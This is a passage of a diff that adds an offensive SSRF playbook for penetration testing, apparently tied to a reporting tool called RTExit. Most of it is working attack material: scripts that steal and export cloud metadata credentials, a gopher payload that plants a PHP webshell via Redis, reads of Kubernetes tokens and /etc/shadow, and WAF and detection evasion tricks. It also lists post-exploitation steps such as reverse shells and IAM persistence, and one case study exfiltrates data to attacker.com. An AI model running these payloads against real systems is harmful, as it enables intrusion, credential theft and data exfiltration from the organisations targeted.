|
|
795
|
+
- http://localhost/
|
|
796
|
+
- http://0.0.0.0/
|
|
797
|
+
- http://[::1]/
|
|
798
|
+
|
|
799
|
+
7. Probe private RFC1918 ranges:
|
|
800
|
+
- 10.0.0.0/8
|
|
801
|
+
- 172.16.0.0/12
|
|
802
|
+
- 192.168.0.0/16
|
|
803
|
+
|
|
804
|
+
8. Use the Python SSRF scanner (see Intermediate section) to enumerate:
|
|
805
|
+
- Hosts in the /24 subnet of the server's IP
|
|
806
|
+
- Common ports on each host
|
|
807
|
+
|
|
808
|
+
9. Identify interesting services:
|
|
809
|
+
- 6379 (Redis)
|
|
810
|
+
- 27017 (MongoDB)
|
|
811
|
+
- 9200 (Elasticsearch)
|
|
812
|
+
- 2375 (Docker daemon)
|
|
813
|
+
- 2181 (Zookeeper)
|
|
814
|
+
- 8500 (Consul)
|
|
815
|
+
- 8200 (Vault)
|
|
816
|
+
- 10250 (Kubernetes kubelet)
|
|
817
|
+
- 6443 (Kubernetes API server)
|
|
818
|
+
- 50070 (Hadoop NameNode)
|
|
819
|
+
```
|
|
820
|
+
|
|
821
|
+
### Phase 4: Cloud Metadata Exploitation
|
|
822
|
+
|
|
823
|
+
```
|
|
824
|
+
10. AWS IMDSv1 (no auth):
|
|
825
|
+
a. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
826
|
+
b. Note the IAM role name
|
|
827
|
+
c. GET http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE_NAME}
|
|
828
|
+
d. Extract AccessKeyId, SecretAccessKey, Token
|
|
829
|
+
e. Configure AWS CLI with stolen credentials
|
|
830
|
+
|
|
831
|
+
11. AWS IMDSv2 (token required):
|
|
832
|
+
a. Attempt IMDSv1 first (many environments still allow it)
|
|
833
|
+
b. If blocked, try to inject X-aws-ec2-metadata-token-ttl-seconds header
|
|
834
|
+
c. Check if app proxies PUT requests
|
|
835
|
+
|
|
836
|
+
12. GCP (requires Metadata-Flavor: Google header):
|
|
837
|
+
a. GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
|
838
|
+
b. Use token to access GCP APIs
|
|
839
|
+
|
|
840
|
+
13. Azure (requires Metadata: true header):
|
|
841
|
+
a. GET http://169.254.169.254/metadata/identity/oauth2/token
|
|
842
|
+
b. Use token to access Azure management API
|
|
843
|
+
```
|
|
844
|
+
|
|
845
|
+
### Phase 5: Protocol Smuggling
|
|
846
|
+
|
|
847
|
+
```
|
|
848
|
+
14. If the application supports gopher://:
|
|
849
|
+
a. Generate Gopher payload using the Python script
|
|
850
|
+
b. Test with Redis PING: gopher://127.0.0.1:6379/_PING
|
|
851
|
+
c. If Redis confirmed, proceed to Redis RCE chain
|
|
852
|
+
|
|
853
|
+
15. dict:// for quick Redis tests:
|
|
854
|
+
a. dict://127.0.0.1:6379/PING
|
|
855
|
+
b. dict://127.0.0.1:6379/info
|
|
856
|
+
|
|
857
|
+
16. file:// for local file read (if not blocked):
|
|
858
|
+
a. file:///etc/passwd
|
|
859
|
+
b. file:///etc/shadow
|
|
860
|
+
c. file:///proc/self/environ (environment variables — often contains secrets)
|
|
861
|
+
d. file:///proc/self/cmdline
|
|
862
|
+
e. file:///var/run/secrets/kubernetes.io/serviceaccount/token (K8s pods)
|
|
863
|
+
```
|
|
864
|
+
|
|
865
|
+
### Phase 6: Post-Exploitation
|
|
866
|
+
|
|
867
|
+
```
|
|
868
|
+
17. With stolen AWS credentials:
|
|
869
|
+
a. Enumerate accessible resources with aws sts get-caller-identity
|
|
870
|
+
b. Search S3 for sensitive data
|
|
871
|
+
c. Check SSM/Secrets Manager for secrets
|
|
872
|
+
d. Attempt privilege escalation via IAM policy attachment
|
|
873
|
+
e. Establish persistence (new IAM user/key)
|
|
874
|
+
|
|
875
|
+
18. With Redis RCE:
|
|
876
|
+
a. Write cron job for reverse shell
|
|
877
|
+
b. Or write SSH authorized_keys
|
|
878
|
+
c. Or write webshell to known web root
|
|
879
|
+
```
|
|
880
|
+
|
|
881
|
+
---
|
|
882
|
+
|
|
883
|
+
## 4. Specific Terminal Commands
|
|
884
|
+
|
|
885
|
+
### Discovery and Enumeration
|
|
886
|
+
|
|
887
|
+
```bash
|
|
888
|
+
# Passive: search for SSRF-prone parameters in JS files
|
|
889
|
+
gau target.com | grep -E "url=|fetch=|src=|href=|link=|path=|redirect=" | head -50
|
|
890
|
+
katana -u https://target.com -d 3 -jc | grep -E "\?.*url=|\?.*fetch=|\?.*src="
|
|
891
|
+
|
|
892
|
+
# Active: fuzz for SSRF parameters with ffuf
|
|
893
|
+
ffuf -u "https://target.com/api/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/api/actions.txt \
|
|
894
|
+
-mc 200,302,400 -H "Content-Type: application/json"
|
|
895
|
+
|
|
896
|
+
# Test all URL parameters with interactsh payload
|
|
897
|
+
INTERACTSH_ID="YOUR_INTERACT_ID.oast.fun"
|
|
898
|
+
ffuf -u "https://target.com/fetch?url=FUZZ" \
|
|
899
|
+
-w <(echo "http://$INTERACTSH_ID/"; echo "https://$INTERACTSH_ID/") \
|
|
900
|
+
-mc all
|
|
901
|
+
|
|
902
|
+
# Burp Suite — Intruder for blind SSRF parameter fuzzing
|
|
903
|
+
# Set §§ markers around the value and use Collaborator payload type
|
|
904
|
+
|
|
905
|
+
# Check response time differences (error-based SSRF detection)
|
|
906
|
+
time curl -s "https://target.com/fetch?url=http://127.0.0.1:80/"
|
|
907
|
+
time curl -s "https://target.com/fetch?url=http://127.0.0.1:81/"
|
|
908
|
+
# Open ports respond faster than closed ports
|
|
909
|
+
```
|
|
910
|
+
|
|
911
|
+
### AWS Metadata Commands
|
|
912
|
+
|
|
913
|
+
```bash
|
|
914
|
+
# Full AWS metadata dump via SSRF
|
|
915
|
+
AWS_SSRF_URL="https://target.com/fetch?url="
|
|
916
|
+
IMDS="http://169.254.169.254/latest"
|
|
917
|
+
|
|
918
|
+
for path in \
|
|
919
|
+
"meta-data/" \
|
|
920
|
+
"meta-data/ami-id" \
|
|
921
|
+
"meta-data/instance-id" \
|
|
922
|
+
"meta-data/instance-type" \
|
|
923
|
+
"meta-data/local-ipv4" \
|
|
924
|
+
"meta-data/public-ipv4" \
|
|
925
|
+
"meta-data/hostname" \
|
|
926
|
+
"meta-data/placement/region" \
|
|
927
|
+
"meta-data/placement/availability-zone" \
|
|
928
|
+
"meta-data/iam/info" \
|
|
929
|
+
"meta-data/iam/security-credentials/" \
|
|
930
|
+
"user-data" \
|
|
931
|
+
"dynamic/instance-identity/document"; do
|
|
932
|
+
echo -n "[+] $path: "
|
|
933
|
+
curl -s "${AWS_SSRF_URL}${IMDS}/${path}"
|
|
934
|
+
echo
|
|
935
|
+
done
|
|
936
|
+
|
|
937
|
+
# Get specific IAM role credentials
|
|
938
|
+
ROLE=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/")
|
|
939
|
+
echo "Role: $ROLE"
|
|
940
|
+
curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}"
|
|
941
|
+
|
|
942
|
+
# Parse and configure credentials
|
|
943
|
+
CREDS=$(curl -s "${AWS_SSRF_URL}${IMDS}/meta-data/iam/security-credentials/${ROLE}")
|
|
944
|
+
ACCESS_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['AccessKeyId'])")
|
|
945
|
+
SECRET_KEY=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['SecretAccessKey'])")
|
|
946
|
+
SESSION_TOKEN=$(echo $CREDS | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['Token'])")
|
|
947
|
+
|
|
948
|
+
export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
|
|
949
|
+
export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
|
|
950
|
+
export AWS_SESSION_TOKEN="$SESSION_TOKEN"
|
|
951
|
+
aws sts get-caller-identity
|
|
952
|
+
```
|
|
953
|
+
|
|
954
|
+
### Redis Interaction Commands
|
|
955
|
+
|
|
956
|
+
```bash
|
|
957
|
+
# Manual Gopher payload construction
|
|
958
|
+
# Redis PING
|
|
959
|
+
python3 -c "import urllib.parse; print('gopher://127.0.0.1:6379/_' + urllib.parse.quote('*1\r\n\$4\r\nPING\r\n'))"
|
|
960
|
+
|
|
961
|
+
# Redis GET all keys
|
|
962
|
+
python3 -c "
|
|
963
|
+
import urllib.parse
|
|
964
|
+
cmds = '*2\r\n\$4\r\nKEYS\r\n\$1\r\n*\r\n'
|
|
965
|
+
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
|
|
966
|
+
"
|
|
967
|
+
|
|
968
|
+
# Redis CONFIG GET all
|
|
969
|
+
python3 -c "
|
|
970
|
+
import urllib.parse
|
|
971
|
+
cmds = '*3\r\n\$6\r\nCONFIG\r\n\$3\r\nGET\r\n\$1\r\n*\r\n'
|
|
972
|
+
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
|
|
973
|
+
"
|
|
974
|
+
|
|
975
|
+
# One-liner Redis RCE via Gopher (write PHP shell)
|
|
976
|
+
python3 -c "
|
|
977
|
+
import urllib.parse
|
|
978
|
+
shell = '<?php system(\$_GET[\"cmd\"]); ?>'
|
|
979
|
+
cmds = f'*1\r\n\$8\r\nflushall\r\n*3\r\n\$3\r\nset\r\n\$1\r\nx\r\n\${len(shell)}\r\n{shell}\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$3\r\ndir\r\n\$13\r\n/var/www/html\r\n*4\r\n\$6\r\nconfig\r\n\$3\r\nset\r\n\$10\r\ndbfilename\r\n\$9\r\nshell.php\r\n*1\r\n\$4\r\nsave\r\n'
|
|
980
|
+
print('gopher://127.0.0.1:6379/_' + urllib.parse.quote(cmds))
|
|
981
|
+
" | xargs -I{} curl -s "https://target.com/fetch?url={}"
|
|
982
|
+
```
|
|
983
|
+
|
|
984
|
+
### Kubernetes Internal Exploitation
|
|
985
|
+
|
|
986
|
+
```bash
|
|
987
|
+
# K8s API server (often at 10.96.0.1:443 or 10.0.0.1:443)
|
|
988
|
+
curl -s "https://target.com/fetch?url=https://10.96.0.1:443/api/v1/namespaces"
|
|
989
|
+
|
|
990
|
+
# Kubelet API (port 10250) — no auth by default in older clusters
|
|
991
|
+
curl -s "https://target.com/fetch?url=https://NODE-IP:10250/pods"
|
|
992
|
+
curl -s "https://target.com/fetch?url=https://NODE-IP:10250/exec/default/POD_NAME/CONTAINER?command=id"
|
|
993
|
+
|
|
994
|
+
# Read service account token from within a pod via SSRF
|
|
995
|
+
curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token"
|
|
996
|
+
curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
|
|
997
|
+
|
|
998
|
+
# Use the token to authenticate to K8s API
|
|
999
|
+
K8S_TOKEN=$(curl -s "https://target.com/fetch?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token")
|
|
1000
|
+
curl -k "https://10.96.0.1/api/v1/pods" -H "Authorization: Bearer $K8S_TOKEN"
|
|
1001
|
+
|
|
1002
|
+
# etcd (port 2379) — contains all cluster secrets
|
|
1003
|
+
curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v2/keys/?recursive=true"
|
|
1004
|
+
curl -s "https://target.com/fetch?url=http://10.0.0.1:2379/v3/keys"
|
|
1005
|
+
```
|
|
1006
|
+
|
|
1007
|
+
---
|
|
1008
|
+
|
|
1009
|
+
## 5. Common Payloads and Examples
|
|
1010
|
+
|
|
1011
|
+
### SSRF Payload Wordlist
|
|
1012
|
+
|
|
1013
|
+
```
|
|
1014
|
+
# Basic internal IPs
|
|
1015
|
+
http://127.0.0.1/
|
|
1016
|
+
http://localhost/
|
|
1017
|
+
http://0.0.0.0/
|
|
1018
|
+
http://[::1]/
|
|
1019
|
+
|
|
1020
|
+
# AWS IMDS
|
|
1021
|
+
http://169.254.169.254/latest/meta-data/
|
|
1022
|
+
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
1023
|
+
http://169.254.169.254/latest/user-data
|
|
1024
|
+
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
1025
|
+
|
|
1026
|
+
# GCP IMDS
|
|
1027
|
+
http://metadata.google.internal/computeMetadata/v1/
|
|
1028
|
+
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
|
1029
|
+
|
|
1030
|
+
# Azure IMDS
|
|
1031
|
+
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
|
1032
|
+
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
|
|
1033
|
+
|
|
1034
|
+
# DigitalOcean
|
|
1035
|
+
http://169.254.169.254/metadata/v1/
|
|
1036
|
+
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address
|
|
1037
|
+
|
|
1038
|
+
# Alibaba Cloud
|
|
1039
|
+
http://100.100.100.200/latest/meta-data/
|
|
1040
|
+
http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
|
1041
|
+
|
|
1042
|
+
# Oracle Cloud
|
|
1043
|
+
http://169.254.169.254/opc/v2/instance/
|
|
1044
|
+
|
|
1045
|
+
# Common internal services
|
|
1046
|
+
http://127.0.0.1:6379/ (Redis)
|
|
1047
|
+
http://127.0.0.1:27017/ (MongoDB)
|
|
1048
|
+
http://127.0.0.1:9200/ (Elasticsearch)
|
|
1049
|
+
http://127.0.0.1:8080/ (Internal web)
|
|
1050
|
+
http://127.0.0.1:2375/ (Docker)
|
|
1051
|
+
http://127.0.0.1:8500/ (Consul)
|
|
1052
|
+
http://127.0.0.1:8200/ (Vault)
|
|
1053
|
+
http://127.0.0.1:50070/ (Hadoop)
|
|
1054
|
+
http://127.0.0.1:5601/ (Kibana)
|
|
1055
|
+
http://127.0.0.1:9090/ (Prometheus)
|
|
1056
|
+
http://127.0.0.1:3000/ (Grafana)
|
|
1057
|
+
|
|
1058
|
+
# Protocol alternatives
|
|
1059
|
+
file:///etc/passwd
|
|
1060
|
+
file:///etc/shadow
|
|
1061
|
+
file:///proc/self/environ
|
|
1062
|
+
file:///proc/self/cmdline
|
|
1063
|
+
dict://127.0.0.1:6379/PING
|
|
1064
|
+
gopher://127.0.0.1:6379/_PING
|
|
1065
|
+
```
|
|
1066
|
+
|
|
1067
|
+
### Blind SSRF OOB Payloads
|
|
1068
|
+
|
|
1069
|
+
```bash
|
|
1070
|
+
# interactsh (free, open source)
|
|
1071
|
+
http://YOUR-ID.oast.fun/
|
|
1072
|
+
https://YOUR-ID.oast.fun/
|
|
1073
|
+
http://YOUR-ID.oast.pro/
|
|
1074
|
+
|
|
1075
|
+
# Burp Collaborator
|
|
1076
|
+
http://YOUR-COLLAB-ID.burpcollaborator.net/
|
|
1077
|
+
|
|
1078
|
+
# Custom DNS (set up NS record pointing to your server)
|
|
1079
|
+
http://ssrf-test.YOUR-DOMAIN.com/
|
|
1080
|
+
|
|
1081
|
+
# Webhook.site (free, instant logs)
|
|
1082
|
+
https://webhook.site/YOUR-UUID
|
|
1083
|
+
|
|
1084
|
+
# RequestBin
|
|
1085
|
+
https://requestbin.io/YOUR-ID
|
|
1086
|
+
```
|
|
1087
|
+
|
|
1088
|
+
---
|
|
1089
|
+
|
|
1090
|
+
## 6. Real-World Examples from Actual Engagements
|
|
1091
|
+
|
|
1092
|
+
### Case 1: AWS Account Takeover via Webhook SSRF
|
|
1093
|
+
|
|
1094
|
+
**Context:** SaaS platform offering Slack-style webhooks. Users can register a webhook URL for event notifications. The backend validates the URL with a GET request before saving.
|
|
1095
|
+
|
|
1096
|
+
**Finding:** The URL validation did not block private IP ranges and followed HTTP redirects.
|
|
1097
|
+
|
|
1098
|
+
**Exploitation:**
|
|
1099
|
+
1. Registered webhook with a redirect server pointing to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`.
|
|
1100
|
+
2. Triggered a test event to make the backend fire the webhook.
|
|
1101
|
+
3. The redirect server returned a 301 to the IMDS endpoint.
|
|
1102
|
+
4. The backend followed the redirect, received the credential JSON.
|
|
1103
|
+
5. The backend stored or logged the response (visible in the webhook delivery log UI).
|
|
1104
|
+
6. Extracted `AccessKeyId`, `SecretAccessKey`, `Token`.
|
|
1105
|
+
7. Used credentials to list all S3 buckets and downloaded customer data.
|
|
1106
|
+
|
|
1107
|
+
**Impact:** Full AWS account compromise, PII of all customers.
|
|
1108
|
+
|
|
1109
|
+
---
|
|
1110
|
+
|
|
1111
|
+
### Case 2: SSRF to Redis RCE via Image Import
|
|
1112
|
+
|
|
1113
|
+
**Context:** E-commerce platform with "import product image from URL" feature.
|
|
1114
|
+
|
|
1115
|
+
**Finding:** Image import used Python requests library with no URL validation. Redis was running without auth on port 6379 internally.
|
|
1116
|
+
|
|
1117
|
+
**Exploitation:**
|
|
1118
|
+
1. Confirmed SSRF: submitted `http://169.254.169.254/` — received AWS metadata.
|
|
1119
|
+
2. Confirmed Redis: submitted `dict://127.0.0.1:6379/PING` — response contained `+PONG`.
|
|
1120
|
+
3. App supported gopher:// protocol.
|
|
1121
|
+
4. Used Gopher payload to write PHP webshell to `/var/www/html/shell.php`.
|
|
1122
|
+
5. Accessed `https://target.com/shell.php?cmd=id` — confirmed RCE as `www-data`.
|
|
1123
|
+
6. Escalated via kernel exploit to root.
|
|
1124
|
+
|
|
1125
|
+
**Impact:** Full server compromise, code execution, data exfiltration.
|
|
1126
|
+
|
|
1127
|
+
---
|
|
1128
|
+
|
|
1129
|
+
### Case 3: Blind SSRF in PDF Export Leading to Internal API Exposure
|
|
1130
|
+
|
|
1131
|
+
**Context:** Business intelligence tool with PDF export. PDFs rendered by wkhtmltopdf.
|
|
1132
|
+
|
|
1133
|
+
**Finding:** Report title accepted HTML. wkhtmltopdf executed JavaScript and made network requests.
|
|
1134
|
+
|
|
1135
|
+
**Exploitation:**
|
|
1136
|
+
1. Set report title to JavaScript payload fetching internal APIs.
|
|
1137
|
+
2. Exfiltrated data via DNS using `new Image().src = "https://data-" + btoa(secret) + ".attacker.com/"`.
|
|
1138
|
+
3. Decoded base64 from DNS query logs.
|
|
1139
|
+
4. Found internal API at `http://10.0.1.50:8080/admin/` with no authentication.
|
|
1140
|
+
5. Extracted all customer records via internal API.
|
|
1141
|
+
|
|
1142
|
+
**Impact:** Full customer data exposure, internal API compromise.
|
|
1143
|
+
|
|
1144
|
+
---
|
|
1145
|
+
|
|
1146
|
+
### Case 4: SSRF via XXE in XML Parser
|
|
1147
|
+
|
|
1148
|
+
**Context:** Invoice processing API accepting XML.
|
|
1149
|
+
|
|
1150
|
+
**Finding:** XML parser had external entity processing enabled (XXE). SSRF achieved via `SYSTEM` entity with HTTP URL.
|
|
1151
|
+
|
|
1152
|
+
**Exploitation:**
|
|
1153
|
+
```xml
|
|
1154
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
1155
|
+
<!DOCTYPE invoice [
|
|
1156
|
+
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
|
|
1157
|
+
]>
|
|
1158
|
+
<invoice>
|
|
1159
|
+
<credentials>&ssrf;</credentials>
|
|
1160
|
+
</invoice>
|
|
1161
|
+
```
|
|
1162
|
+
|
|
1163
|
+
The response contained the IAM role name inline. Followed up with second XXE payload targeting the specific role endpoint.
|
|
1164
|
+
|
|
1165
|
+
**Impact:** AWS credentials stolen, S3 data accessed.
|
|
1166
|
+
|
|
1167
|
+
---
|
|
1168
|
+
|
|
1169
|
+
### Case 5: GCP Metadata via GraphQL SSRF
|
|
1170
|
+
|
|
1171
|
+
**Context:** GraphQL API with a `fetchContent(url: String!)` mutation for content import.
|
|
1172
|
+
|
|
1173
|
+
**Finding:** No validation on the `url` parameter. GCP environment.
|
|
1174
|
+
|
|
1175
|
+
**Exploitation:**
|
|
1176
|
+
```graphql
|
|
1177
|
+
mutation {
|
|
1178
|
+
fetchContent(url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token") {
|
|
1179
|
+
content
|
|
1180
|
+
statusCode
|
|
1181
|
+
}
|
|
1182
|
+
}
|
|
1183
|
+
```
|
|
1184
|
+
|
|
1185
|
+
Required adding `Metadata-Flavor: Google` header. Injected via:
|
|
1186
|
+
```graphql
|
|
1187
|
+
mutation {
|
|
1188
|
+
fetchContent(
|
|
1189
|
+
url: "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
|
|
1190
|
+
headers: {name: "Metadata-Flavor", value: "Google"}
|
|
1191
|
+
) {
|
|
1192
|
+
content
|
|
1193
|
+
}
|
|
1194
|
+
}
|
|
1195
|
+
```
|
|
1196
|
+
|
|
1197
|
+
**Impact:** GCP service account token stolen, used to access GCS buckets and Cloud SQL instances.
|
|
1198
|
+
|
|
1199
|
+
---
|
|
1200
|
+
|
|
1201
|
+
## 7. WAF Bypass Techniques
|
|
1202
|
+
|
|
1203
|
+
### IP Address Obfuscation
|
|
1204
|
+
|
|
1205
|
+
```bash
|
|
1206
|
+
# Decimal encoding
|
|
1207
|
+
http://2130706433/ # 127.0.0.1
|
|
1208
|
+
http://2852039166/ # 169.254.169.254
|
|
1209
|
+
|
|
1210
|
+
# Octal encoding
|
|
1211
|
+
http://0177.0.0.1/ # 127.0.0.1
|
|
1212
|
+
http://0251.0376.0251.0376/ # 169.254.169.254
|
|
1213
|
+
|
|
1214
|
+
# Hex encoding
|
|
1215
|
+
http://0x7f000001/ # 127.0.0.1
|
|
1216
|
+
http://0xa9fea9fe/ # 169.254.169.254
|
|
1217
|
+
|
|
1218
|
+
# Mixed representations
|
|
1219
|
+
http://0x7f.0x0.0x0.0x1/
|
|
1220
|
+
http://0177.0.0.0x1/
|
|
1221
|
+
|
|
1222
|
+
# IPv6 mapped
|
|
1223
|
+
http://[::ffff:127.0.0.1]/
|
|
1224
|
+
http://[::ffff:7f00:1]/
|
|
1225
|
+
http://[::ffff:a9fe:a9fe]/ # 169.254.169.254
|
|
1226
|
+
|
|
1227
|
+
# Shortened forms
|
|
1228
|
+
http://127.1/ # Equivalent to 127.0.0.1 on many systems
|
|
1229
|
+
http://169.254.169.254/ -> http://169.254/169.254/ (some parsers)
|
|
1230
|
+
```
|
|
1231
|
+
|
|
1232
|
+
### URL Encoding Bypass
|
|
1233
|
+
|
|
1234
|
+
```bash
|
|
1235
|
+
# Single encoding
|
|
1236
|
+
http://%31%32%37%2e%30%2e%30%2e%31/
|
|
1237
|
+
|
|
1238
|
+
# Double encoding (bypass decoding-then-check)
|
|
1239
|
+
http://%2531%2532%2537%252e%2530%252e%2530%252e%2531/
|
|
1240
|
+
|
|
1241
|
+
# Mixed encoding
|
|
1242
|
+
http://127.%30.%30.1/
|
|
1243
|
+
http://%31%32%37.0.0.1/
|
|
1244
|
+
|
|
1245
|
+
# Unicode normalization
|
|
1246
|
+
http://①②⑦.0.0.①/
|
|
1247
|
+
```
|
|
1248
|
+
|
|
1249
|
+
### Host Header Injection
|
|
1250
|
+
|
|
1251
|
+
```bash
|
|
1252
|
+
# If the WAF checks Host header but the backend uses a different mechanism
|
|
1253
|
+
curl -s "https://target.com/fetch?url=http://internal-service/" \
|
|
1254
|
+
-H "Host: 169.254.169.254"
|
|
1255
|
+
|
|
1256
|
+
# X-Forwarded-Host bypass
|
|
1257
|
+
curl -s "https://target.com/fetch?url=http://internal/" \
|
|
1258
|
+
-H "X-Forwarded-Host: 169.254.169.254"
|
|
1259
|
+
|
|
1260
|
+
# X-Original-URL
|
|
1261
|
+
curl -s "https://target.com/" \
|
|
1262
|
+
-H "X-Original-URL: /fetch?url=http://169.254.169.254/"
|
|
1263
|
+
```
|
|
1264
|
+
|
|
1265
|
+
### Scheme Bypass
|
|
1266
|
+
|
|
1267
|
+
```bash
|
|
1268
|
+
# If http:// is blocked, try alternatives
|
|
1269
|
+
https://127.0.0.1/ # HTTPS to self (may work for internal)
|
|
1270
|
+
http:127.0.0.1/ # Missing //
|
|
1271
|
+
http:///127.0.0.1/ # Extra slash
|
|
1272
|
+
http:\\127.0.0.1/ # Backslash
|
|
1273
|
+
HTTP://127.0.0.1/ # Uppercase scheme
|
|
1274
|
+
Http://127.0.0.1/ # Mixed case
|
|
1275
|
+
|
|
1276
|
+
# Protocol alternatives (if blocked by scheme whitelist)
|
|
1277
|
+
# Only http/https allowed? Try:
|
|
1278
|
+
gopher://127.0.0.1:6379/_PING
|
|
1279
|
+
dict://127.0.0.1:6379/PING
|
|
1280
|
+
ftp://127.0.0.1:6379/
|
|
1281
|
+
sftp://127.0.0.1/
|
|
1282
|
+
tftp://127.0.0.1:6379/PING
|
|
1283
|
+
ldap://127.0.0.1:389/
|
|
1284
|
+
```
|
|
1285
|
+
|
|
1286
|
+
### DNS-Based Bypasses
|
|
1287
|
+
|
|
1288
|
+
```bash
|
|
1289
|
+
# DNS services that resolve to 127.0.0.1
|
|
1290
|
+
http://localtest.me/
|
|
1291
|
+
http://customer1.app.lvh.me/
|
|
1292
|
+
http://127.0.0.1.xip.io/ # Deprecated but sometimes works
|
|
1293
|
+
http://127.0.0.1.nip.io/ # Still active
|
|
1294
|
+
|
|
1295
|
+
# Custom DNS record (if you control DNS):
|
|
1296
|
+
# A record: ssrf.attacker.com -> 127.0.0.1
|
|
1297
|
+
# Use: http://ssrf.attacker.com/
|
|
1298
|
+
|
|
1299
|
+
# For AWS IMDS:
|
|
1300
|
+
# A record: imds.attacker.com -> 169.254.169.254
|
|
1301
|
+
http://imds.attacker.com/latest/meta-data/
|
|
1302
|
+
|
|
1303
|
+
# AWS-specific: metadata DNS alias
|
|
1304
|
+
http://169.254.169.254/ # via special DNS resolution in some tools
|
|
1305
|
+
```
|
|
1306
|
+
|
|
1307
|
+
### Rate Limit and Detection Evasion
|
|
1308
|
+
|
|
1309
|
+
```bash
|
|
1310
|
+
# Add random query parameters to avoid caching/deduplication
|
|
1311
|
+
http://169.254.169.254/latest/meta-data/?cb=$(date +%s)
|
|
1312
|
+
|
|
1313
|
+
# Slow down requests to avoid rate limiting
|
|
1314
|
+
for path in meta-data/ user-data dynamic/instance-identity/document; do
|
|
1315
|
+
curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/$path"
|
|
1316
|
+
sleep 2
|
|
1317
|
+
done
|
|
1318
|
+
|
|
1319
|
+
# Rotate through different SSRF parameters if one is monitored
|
|
1320
|
+
# url= -> src= -> href= -> fetch= -> link=
|
|
1321
|
+
|
|
1322
|
+
# Use different encodings for each request to evade signature matching
|
|
1323
|
+
```
|
|
1324
|
+
|
|
1325
|
+
---
|
|
1326
|
+
|
|
1327
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1328
|
+
|
|
1329
|
+
All SSRF findings must be documented using the RTExit autodoc engine to ensure consistent, complete reports. The autodoc engine ingests structured JSON evidence and generates findings in the standard report format.
|
|
1330
|
+
|
|
1331
|
+
### Autodoc Evidence Schema for SSRF
|
|
1332
|
+
|
|
1333
|
+
```json
|
|
1334
|
+
{
|
|
1335
|
+
"finding_type": "ssrf",
|
|
1336
|
+
"severity": "critical|high|medium|low",
|
|
1337
|
+
"title": "Server-Side Request Forgery via [parameter] — [impact summary]",
|
|
1338
|
+
"target": {
|
|
1339
|
+
"url": "https://target.com/endpoint",
|
|
1340
|
+
"parameter": "url",
|
|
1341
|
+
"method": "GET|POST|PUT"
|
|
1342
|
+
},
|
|
1343
|
+
"proof": {
|
|
1344
|
+
"request": "Raw HTTP request",
|
|
1345
|
+
"response": "Raw HTTP response or SSRF response body",
|
|
1346
|
+
"oob_callback": "DNS/HTTP log from interactsh/Collaborator (for blind SSRF)"
|
|
1347
|
+
},
|
|
1348
|
+
"metadata_leaked": {
|
|
1349
|
+
"provider": "aws|gcp|azure|do|alibaba",
|
|
1350
|
+
"iam_role": "role-name-if-applicable",
|
|
1351
|
+
"credentials_obtained": true,
|
|
1352
|
+
"access_key_id": "ASIA...",
|
|
1353
|
+
"resources_accessed": ["s3://bucket-name", "arn:aws:iam::123456789:role/xyz"]
|
|
1354
|
+
},
|
|
1355
|
+
"exploitation_chain": [
|
|
1356
|
+
"Step 1: Identified SSRF in /api/import?url= parameter",
|
|
1357
|
+
"Step 2: Confirmed blind SSRF via interactsh callback",
|
|
1358
|
+
"Step 3: Accessed AWS IMDS at 169.254.169.254",
|
|
1359
|
+
"Step 4: Extracted IAM credentials for role ec2-prod-role",
|
|
1360
|
+
"Step 5: Used credentials to list S3 buckets — found customer-data-prod"
|
|
1361
|
+
],
|
|
1362
|
+
"remediation": {
|
|
1363
|
+
"short": "Implement SSRF allowlist for permitted destinations",
|
|
1364
|
+
"long": "Deny requests to RFC1918, link-local ranges, and metadata IPs. Validate after DNS resolution. Migrate to IMDSv2."
|
|
1365
|
+
},
|
|
1366
|
+
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
|
|
1367
|
+
"cvss_score": 10.0,
|
|
1368
|
+
"cwe": "CWE-918",
|
|
1369
|
+
"owasp": "A10:2021"
|
|
1370
|
+
}
|
|
1371
|
+
```
|
|
1372
|
+
|
|
1373
|
+
### Autodoc Integration Commands
|
|
1374
|
+
|
|
1375
|
+
```bash
|
|
1376
|
+
# Initialize a new SSRF finding in RTExit
|
|
1377
|
+
rtexit finding new --type ssrf --target "https://target.com/api/import"
|
|
1378
|
+
|
|
1379
|
+
# Record a confirmed SSRF with evidence
|
|
1380
|
+
rtexit evidence add \
|
|
1381
|
+
--finding-id FINDING_ID \
|
|
1382
|
+
--type http_request \
|
|
1383
|
+
--file /tmp/ssrf_request.txt
|
|
1384
|
+
|
|
1385
|
+
rtexit evidence add \
|
|
1386
|
+
--finding-id FINDING_ID \
|
|
